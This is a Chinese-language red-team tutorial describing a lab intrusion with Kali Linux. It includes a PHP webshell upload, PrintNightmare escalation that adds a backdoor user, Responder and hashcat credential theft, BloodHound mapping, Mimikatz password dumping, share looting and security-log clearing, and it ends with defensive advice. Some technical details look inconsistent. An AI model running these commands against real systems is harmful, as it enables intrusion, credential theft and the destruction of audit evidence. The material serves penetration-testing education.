0x01 一次数据泄露引发的反思
2023年,一家著名互联网公司的敏感数据在暗网低价出售,并迅速引起全球关注。攻击者声称,他们利用了一台未打补丁的服务器,通过简单的渗透手段拿下了整个内网的核心数据。这起事件再次凸显了攻防对抗中的一个事实:任何一个小漏洞,都可能成为整张网络的冰山裂隙。
如果我们站在红队的视角,这场攻击的成功离不开以下关键步骤:信息收集、漏洞利用、横向移动、权限提升和数据窃取。在这篇文章中,我将结合开源攻击框架 Kali Linux,深入讲解如何利用其工具链实现从外网到内网的渗透攻击。请注意,本文所有演示均为教学用途,严禁在未经授权的情况下使用。
---
0x02 构建你的攻击场景
在渗透测试中,良好的攻击环境是成功一半。为了模拟真实场景,我们需要搭建一个可控的目标网络,描述如下:
实验环境
- 攻击机:Kali Linux 2023.3
- 目标机:Windows Server 2019(含IIS服务)
- 内网:AD域环境(带域控,域名
corp.local) - 工具链:Metasploit、Responder、BloodHound、Mimikatz
网络架构
攻击者位于外网,通过目标机器的公网IP进行初始渗透;随后,利用漏洞深入内网,最终控制域控并窃取敏感数据。
具体网络拓扑如下:
<pre><code>[ 攻击者 (Kali Linux) ] --> [ DMZ 目标机 (IIS) ] --> [ 内网域控 + Win10客户端 ]</code></pre>
安装工具
在你的 Kali Linux 上,确保以下工具可用: <pre><code class="language-bash"># 更新 Kali Linux,确保是最新版本 sudo apt update && sudo apt full-upgrade -y
常用渗透工具安装(如果未预装)
sudo apt install -y metasploit-framework bloodhound responder</code></pre>
如果所有工具已准备就绪,就让我们从外网突破开始。
---
0x03 初始攻击入口:寻找外网破绽
攻击的第一步是摸清目标的外部暴露面。通常我们借助信息收集工具,扫描目标的端口和服务,寻找潜在漏洞。
使用 Nmap 识别目标
在 Kali 上,使用 Nmap 对目标主机进行端口扫描: <pre><code class="language-bash">nmap -sV -Pn -T4 --script vuln <目标IP></code></pre> 关键参数解释:
-sV:检测服务版本-Pn:跳过Ping,直接扫描--script vuln:调用漏洞扫描脚本
假设目标IP为192.168.1.100,结果可能如下:
<pre><code>PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 445/tcp open smb Microsoft Windows Server 2019 3389/tcp open ms-wbt-server</code></pre>
从结果可以看出,目标打开了以下关键端口:
- 80端口:运行IIS,可能存在Web漏洞
- 445端口:SMB协议,常见信息泄露入口
- 3389端口:RDP远程桌面,需要进一步验证防护措施
Web 漏洞探测
进一步对80端口的IIS服务进行目录扫描: <pre><code class="language-bash">gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt</code></pre> 输出可能显示以下隐藏目录: <pre><code>/admin /backup /upload</code></pre>
漏洞利用:IIS 文件上传漏洞
假设 /upload 路径存在未授权的文件上传功能,我们可以尝试上传一个恶意的 WebShell 进行命令执行。
生成 PHP WebShell: <pre><code class="language-bash">echo "<?php system(\$_GET['cmd']); ?>" > shell.php</code></pre>

使用 curl 上传文件: <pre><code class="language-bash">curl -F "[email protected]" http://192.168.1.100/upload</code></pre>
成功上传后,通过访问以下链接执行命令: <pre><code>http://192.168.1.100/upload/shell.php?cmd=whoami</code></pre> 输出结果: <pre><code>nt authority\iusr</code></pre>
现在,攻击者已经拿到了服务器的 WebShell。
---
0x04 权限提升:从 WebShell 到 SYSTEM
在获得初步访问权限后,我们需要进一步提升权限,以便控制目标服务器。
漏洞利用:CVE-2021-1675 "PrintNightmare"
假设目标服务器未打补丁,我们可以利用知名漏洞 PrintNightmare 来提权。
检查漏洞环境
通过 WebShell 执行以下 PowerShell 命令,查看是否存在打印服务: <pre><code class="language-powershell">Get-Service | findstr Spooler</code></pre> 如果输出显示打印服务正在运行,则可能存在漏洞。
使用 Exploit 执行提权
在 Kali 上,下载并运行 PrintNightmare 的 Exploit: <pre><code class="language-bash">git clone https://github.com/cube0x0/CVE-2021-1675.git cd CVE-2021-1675/ python3 CVE-2021-1675.py -ip 192.168.1.100 -cmd "net user hacker Password123 /add"</code></pre>
恢复一个高权限用户后,通过 RDP 登录目标机: <pre><code class="language-bash">xfreerdp /u:hacker /p:Password123 /v:192.168.1.100</code></pre>
此时,攻击者已成功获得目标服务器的 SYSTEM 权限。
---
0x05 横向移动:夺取内网资源
获得外网服务器控制权后,我们继续深入内网,寻找敏感数据或域控。
使用 Responder 劫持凭据
在内网环境中,利用 Responder 工具监听并劫持 NTLM Hash: <pre><code class="language-bash">responder -I eth0</code></pre>
将 Hash 保存下来后,可使用 Hashcat 离线破解: <pre><code class="language-bash">hashcat -m 5600 --force <captured_hash> /usr/share/wordlists/rockyou.txt</code></pre>

BloodHound 分析域结构
通过生成 BloodHound 数据,分析域控权限路径: <pre><code class="language-bash"># 在目标机上执行以下命令 Invoke-BloodHound -CollectionMethod All -ZipFileName data.zip</code></pre>
将生成的 data.zip 上传至 Kali,导入 BloodHound: <pre><code class="language-bash">neo4j console & bloodhound</code></pre>
在 BloodHound 图谱中,可以直观看到从当前用户到域控的权限路径。

---
0x06 数据窃取与清理痕迹
当我们控制域控后,可以轻松访问所有域内资源。以下是常见的窃取方法:
提取密码
利用 Mimikatz 提取明文密码: <pre><code class="language-bash">mimikatz # sekurlsa::logonpasswords</code></pre>
提取敏感文件
通过 PowerShell,批量下载共享文件夹中的内容: <pre><code class="language-powershell">Copy-Item \\corp.local\share\* C:\loot\ -Recurse</code></pre>
清理痕迹
删除日志文件: <pre><code class="language-powershell">wevtutil cl Microsoft-Windows-Security-Auditing</code></pre>
---
0x07 攻击后感想

在这次渗透测试中,攻击路径清晰,工具链成熟。Kali Linux 提供了一整套完善的红队工具,使攻击者能够快速完成从外网到内网的入侵。然而,对于防御者来说,也应该意识到以下几点:
- 及时打补丁:例如 PrintNightmare,漏洞一直存在且容易被利用。
- 加强网络分段:避免外网直接暴露内网资源。
- 日志监控:攻击者的活动痕迹多在日志中体现。
攻击和防御是一场无止境的博弈。作为安全研究者,我们需要不断提升能力,为网络安全贡献力量。